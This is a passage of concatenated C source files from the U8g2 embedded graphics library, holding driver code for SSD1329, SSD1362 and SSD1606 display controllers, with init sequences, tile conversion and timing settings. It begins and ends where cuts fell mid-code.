write_pulse_width_ns = */ 60, /* ssd1329 */ /* tile_width = */ 12, /* tile_height = */ 12, /* default_x_offset = */ 0, /* x offset for flip mode 0 */ /* flipmode_x_offset = */ 16, /* x offset for flip mode 1 */ /* pixel_width = */ 96, /* pixel_height = */ 96 }; uint8_t u8x8_d_ssd1329_96x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_96x96_display_info); return 1; } return u8x8_d_ssd1329_96x96_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1362.c ================================================ /* u8x8_d_ssd1362.c https://github.com/olikraus/u8g2/issues/2051 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2022, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1362: 256 x 64 (ssd1322: 480 x 128) 16 gray scale Note: Currently the external IREF is activated. Maybe we need a constructor with internal IREF */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1362_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* ssd1362: display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1362_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* ssd1362: display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for SSD1362 (32 Bytes) */ static uint8_t u8x8_ssd1362_to32_dest_buf[32]; static uint8_t *u8x8_ssd1362_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1362_to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1362_to32_dest_buf; } /* special case for the 206x36 display: send only half of the last tile */ static uint8_t *u8x8_ssd1362_8to24(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 3; j++ ) { dest = u8x8_ssd1362_to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=3; a >>= 1; b >>= 1; } } return u8x8_ssd1362_to32_dest_buf; } uint8_t u8x8_d_ssd1362_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1362 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; // convert from tile pos to display column x += u8x8->x_offset; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1362_8to32(u8x8, ptr)); ptr += 8; x += 4; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } uint8_t u8x8_d_ssd1362_common_0_75(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1362 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; // convert from tile pos to display column x += u8x8->x_offset; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ if ( x < 123 ) { u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1362_8to32(u8x8, ptr)); } else { u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+2 ); /* end */ u8x8_cad_SendData(u8x8, 24, u8x8_ssd1362_8to24(u8x8, ptr)); } ptr += 8; x += 4; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=========================================================*/ static const uint8_t u8x8_d_ssd1362_256x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0xa0, 0xc3), //Set Remap c3 = 11000011 U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1362_256x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0xa0, 0xd0), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1362_256x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* ssd1362: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* ssd1362: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* ssd1362: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* ssd1362: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 32, /* 256 pixel, so we require 32 bytes for this */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 256, /* pixel_height = */ 64 }; /* https://github.com/olikraus/u8g2/issues/2051 */ static const uint8_t u8x8_d_ssd1362_256x64_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_CA(0xfd, 0x12), /* unlock */ U8X8_C(0xae), /* display off */ U8X8_CA(0x23, 0x00), //POR 0x00; Disable fade mode U8X8_CA(0x81, 0x9f), //Set contrast /* Re- map setting in Graphic Display Data RAM (GDDRAM) A[0] = 0b, Disable Column Address Re-map (RESET) A[0] = 1b, Enable Column Address Re-map *** A[1] = 0b, Disable Nibble Re-map (RESET) A[1] = 1b, Enable Nibble Re-map *** A[2] = 0b, Enable Horizontal Address Increment (RESET) *** A[2] = 1b, Enable Vertical Address Increment A[4] = 0b, Disable COM Re-map (RESET) A[4] = 1b, Enable COM Re-map A[6] = 0b, Disable SEG Split Odd Even *** A[6] = 1b, Enable SEG Split Odd Even (RESET) A[7] = 0b, Disable SEG left/right remap (RESET) A[7] = 1b, Enable SEG left/right remap */ U8X8_CA(0xa0, 0xc3), U8X8_CA(0xa1, 0), //Set Display Start Line U8X8_CA(0xa2, 0), //Set Display Offset U8X8_C(0xa4), //Normal Display U8X8_CA(0xa8, 63), //Set Multiplex Ratio: (63 rows) U8X8_CA(0xab, 1), //Set VDD regulator U8X8_CA(0xad, 0x8e), //External /Internal IREF Selection, 9e: internal, 8e: external U8X8_CA(0xb1, 0x22), //Set Phase Length, reset: 0x82 U8X8_CA(0xb3, 0xa0), //Display clock Divider U8X8_CA(0xb6, 0x04), //Set Second precharge Period U8X8_C(0xb9), //Set Linear LUT U8X8_CA(0xbc, 0x1f), //Set pre-charge voltage level, 0..0x1f, 0x1f = 0.51*Vcc U8X8_CA(0xbd, 1), //Pre-charge voltage capacitor Selection, 0: without, 1: with Vp capacitor U8X8_CA(0xbe, 7), //Set cOM deselect voltage level, 7 = 0.86*Vcc U8X8_DLY(1), /* delay 1ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1362_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1362_256x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1362_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=========================================================*/ static const u8x8_display_info_t u8x8_ssd1362_206x36_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* ssd1362: 2 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* ssd1362: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* ssd1362: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 10000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 10, /* write_pulse_width_ns = */ 150, /* ssd1362: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 26, /* 26*8 = 208 */ /* tile_height = */ 5, /* 5*8 = 40 */ /* default_x_offset = */ 0, /* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */ /* flipmode_x_offset = */ 25, /* pixel_width = */ 206, /* pixel_height = */ 36 }; /* https://github.com/olikraus/u8g2/issues/2051 */ static const uint8_t u8x8_d_ssd1362_206x36_init_seq[] = { U8X8_DLY(1), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(1), U8X8_CA(0xfd, 0x12), /* unlock */ U8X8_C(0xae), /* display off */ U8X8_CA(0x23, 0x00), //POR 0x00; Disable fade mode U8X8_CA(0x81, 0x9f), //Set contrast /* Re- map setting in Graphic Display Data RAM (GDDRAM) A[0] = 0b, Disable Column Address Re-map (RESET) A[0] = 1b, Enable Column Address Re-map *** A[1] = 0b, Disable Nibble Re-map (RESET) A[1] = 1b, Enable Nibble Re-map *** A[2] = 0b, Enable Horizontal Address Increment (RESET) *** A[2] = 1b, Enable Vertical Address Increment A[4] = 0b, Disable COM Re-map (RESET) A[4] = 1b, Enable COM Re-map A[6] = 0b, Disable SEG Split Odd Even *** A[6] = 1b, Enable SEG Split Odd Even (RESET) A[7] = 0b, Disable SEG left/right remap (RESET) A[7] = 1b, Enable SEG left/right remap */ U8X8_CA(0xa0, 0xc3), U8X8_CA(0xa1, 50), //Set Display Start Line U8X8_CA(0xa2, 0), //Set Display Offset U8X8_C(0xa4), //Normal Display U8X8_CA(0xa8, 63), //Set Multiplex Ratio U8X8_CA(0xab, 1), //Set VDD regulator U8X8_CA(0xad, 0x8e), //External /Internal IREF Selection, 9e: internal, 8e: external U8X8_CA(0xb1, 0x22), //Set Phase Length, reset: 0x82 U8X8_CA(0xb3, 0xa0), //Display clock Divider U8X8_CA(0xb6, 0x04), //Set Second precharge Period U8X8_C(0xb9), //Set Linear LUT U8X8_CA(0xbc, 0x1f), //Set pre-charge voltage level, 0..0x1f, 0x1f = 0.51*Vcc U8X8_CA(0xbd, 1), //Pre-charge voltage capacitor Selection, 0: without, 1: with Vp capacitor U8X8_CA(0xbe, 7), //Set cOM deselect voltage level, 7 = 0.86*Vcc U8X8_DLY(1), /* delay 1ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1362_206x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1362_206x36_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_206x36_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_ssd1362_common_0_75(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1606_172x72.c ================================================ /* u8x8_d_ssd1606_172x72.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1606: 128x180x2 two-bit, four graylevels command 0x22: assign actions 0x20: execute actions action for command 0x022 are (more or less guessed) bit 7: Enable Clock bit 6: Enable Charge Pump bit 5: Load Temparture Value (???) bit 4: Load LUT (???) bit 3: Initial Display (???) bit 2: Pattern Display --> Requires about 945ms with the LUT from below bit 1: Disable Charge Pump bit 0: Disable Clock Disable Charge Pump and Clock require about 267ms Enable Charge Pump and Clock require about 10ms Notes: - Introduced a refresh display message, which copies RAM to display - Charge pump and clock are only enabled for the transfer RAM to display - U8x8 will not really work because of the two buffers in the SSD1606, however U8g2 should be ok. */ #include "u8x8.h" #define L(a,b,c,d) (((a)<<6)|((b)<<4)|((c)<<2)|(d)) /* GDE021A1, 2.1" EPD */ static const uint8_t u8x8_d_ssd1606_172x72_gde021a1_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x10, 0x00), /* Deep Sleep mode Control: Disable */ U8X8_CA(0x11, 0x03), /* Define data entry mode, x&y inc, x first */ U8X8_CAA(0x44, 0, 31), /* RAM x start & end, each byte has 4 pixel, 32*4=128 */ U8X8_CAA(0x45, 0, 179), /* RAM y start & end, 179 MAX */ U8X8_CA(0x4e, 0), /* set x pos, 0..31 */ U8X8_CA(0x4f, 0), /* set y pos, 0...179 */ U8X8_CA(0xf0, 0x1f), /* set booster feedback to internal */ U8X8_CA(0x22, 0xc0), /* display update seq. option: enable clk, enable CP, .... todo: this is never activated */ U8X8_C(0x32), /* write LUT register*/ #ifdef ORIGINAL_LUT /* wavefrom part of the LUT: absolute LUT... this will always force the destination color */ U8X8_A4(0x00,0x00,0x00,0x55), /* step 0 */ U8X8_A4(0x00,0x00,0x55,0x55), /* step 1 */ U8X8_A4(0x00,0x55,0x55,0x55), U8X8_A4(0xAA,0xAA,0xAA,0xAA), U8X8_A4(0x15,0x15,0x15,0x15), U8X8_A4(0x05,0x05,0x05,0x05), U8X8_A4(0x01,0x01,0x01,0x01), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), /* step 19 */ /* timing part of the LUT */ U8X8_A8(0x22,0xFB,0x22,0x1B,0x00,0x00,0x00,0x00), U8X8_A(0x00),U8X8_A(0x00), #else /* the following LUT will not change anything if the old and the new values are the same */ /* 03 02 01 00 13 12 11 10 23 22 21 20 33 32 31 30 original */ U8X8_A4(L(0, 0, 0, 0), L(0, 0, 0, 0), L(0, 0, 0, 0), L(0, 1, 1, 1)), // 0x00,0x00,0x00,0x55, step 0 U8X8_A4(L(0, 0, 0, 0), L(0, 0, 0, 0), L(1, 0, 1, 1), L(0, 1, 1, 1)), // 0x00,0x00,0x55,0x55, step 1 U8X8_A4(L(0, 0, 0, 0), L(1, 1, 0, 1), L(1, 0, 1, 1), L(0, 1, 1, 1)), // 0x00,0x55,0x55,0x55, step 2 U8X8_A4(L(2, 2, 2, 0), L(2, 2, 0, 2), L(2, 0, 2, 2), L(0, 2, 2, 2)), // 0xAA,0xAA,0xAA,0xAA, step 3 U8X8_A4(L(0, 1, 1, 0), L(0, 1, 0, 1), L(0, 0, 1, 1), L(0, 1, 1, 1)), // 0x15,0x15,0x15,0x15, step 4 U8X8_A4(L(0, 0, 1, 0), L(0, 0, 0, 1), L(0, 0, 1, 1), L(0, 0, 1, 1)), // 0x05,0x05,0x05,0x05, step 5 U8X8_A4(L(0, 0, 0, 0), L(0, 0, 0, 1), L(0, 0, 0, 1), L(0, 0, 0, 1)), // 0x01,0x01,0x01,0x01, step 6 U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), U8X8_A4(0x00,0x00,0x00,0x00), /* step 19 */ /* timing part of the LUT */ U8X8_A8(0x22,0xFB,0x22,0x1B,0x00,0x00,0x00,0x00), U8X8_A(0x00),U8X8_A(0x00), #endif U8X8_CA(0x2c, 0xa0), /* write vcom value*/ U8X8_CA(0x3c, 0x63), /* select boarder waveform */ U8X8_CA(0x22, 0xc4), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ /* 0x0c4 is mentioned in chapter 9.2 of the GDE021A1 data sheet */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1606_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_CA(0x22, 0xc0), /* display update seq. option: Enable clock and charge pump */ //U8X8_C(0x20), /* execute sequence */ //U8X8_DLY(10), /* strange, splitting 0x0c0 does not work reliable */ U8X8_CA(0x22, 0xc4), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* the sequence above requires about 970ms */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(230), U8X8_CA(0x22, 0x03), /* disable clock and charge pump */ U8X8_DLY(200), /* this requres about 270ms */ U8X8_DLY(90), //U8X8_CA(0x10, 0x01), /* deep sleep mode */ //U8X8_C(0x20), /* execute sequence */ U8X8_DLY(50), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; // static const uint8_t u8x8_d_ssd1606_172x72_powersave0_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; // static const uint8_t u8x8_d_ssd1606_172x72_powersave1_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; // static const uint8_t u8x8_d_ssd1606_172x72_flip0_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; // static const uint8_t u8x8_d_ssd1606_172x72_flip1_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; static uint8_t *u8x8_convert_tile_for_ssd1606(uint8_t *t) { uint8_t i; uint16_t r; static uint8_t buf[16]; uint8_t *pbuf = buf; for( i = 0; i < 8; i++ ) { r = u8x8_upscale_byte(~(*t++)); *pbuf++ = (r>>8) & 255; *pbuf++ = r & 255; } return buf; } static void u8x8_d_ssd1606_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE; static void u8x8_d_ssd1606_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) { uint8_t x, c, page; uint8_t *ptr; u8x8_cad_StartTransfer(u8x8); page = u8x8->display_info->tile_height; page --; page -= (((u8x8_tile_t *)arg_ptr)->y_pos); page *= 2; x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x00f ); /* scan start */ u8x8_cad_SendArg(u8x8, 0); u8x8_cad_SendCmd(u8x8, 0x011 ); /* cursor increment mode */ u8x8_cad_SendArg(u8x8, 3); u8x8_cad_SendCmd(u8x8, 0x045 ); /* window start column */ u8x8_cad_SendArg(u8x8, 0); u8x8_cad_SendArg(u8x8, 179); /* end of display */ u8x8_cad_SendCmd(u8x8, 0x044 ); /* window end page */ u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendArg(u8x8, page+1); u8x8_cad_SendCmd(u8x8, 0x04f ); /* window column */ u8x8_cad_SendArg(u8x8, x); u8x8_cad_SendCmd(u8x8, 0x04e ); /* window row */ u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendCmd(u8x8, 0x024 ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, 16, u8x8_convert_tile_for_ssd1606(ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); } static uint8_t u8x8_d_ssd1606_172x72_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1606_172x72_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_gde021a1_init_seq); /* special code for the SSD1606... */ /* ensure that the initial buffer is clear and all eInk is set to white */ /* this is done here, because the LUT will be of that kind, that it uses the previous color */ /* make everything black */ u8x8_FillDisplay(u8x8); /* write content to the display */ u8x8_RefreshDisplay(u8x8); /* now make everything clear */ u8x8_FillDisplay(u8x8); /* write content to the display */ u8x8_RefreshDisplay(u8x8); /* now make everything clear */ u8x8_ClearDisplay(u8x8); /* write content to the display */ u8x8_RefreshDisplay(u8x8); u8x8_ClearDisplay(u8x8); /* write content to the display */ u8x8_RefreshDisplay(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: /* if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_powersave1_seq); */ break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: /* if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_flip1_seq); u8x8->x_offset = 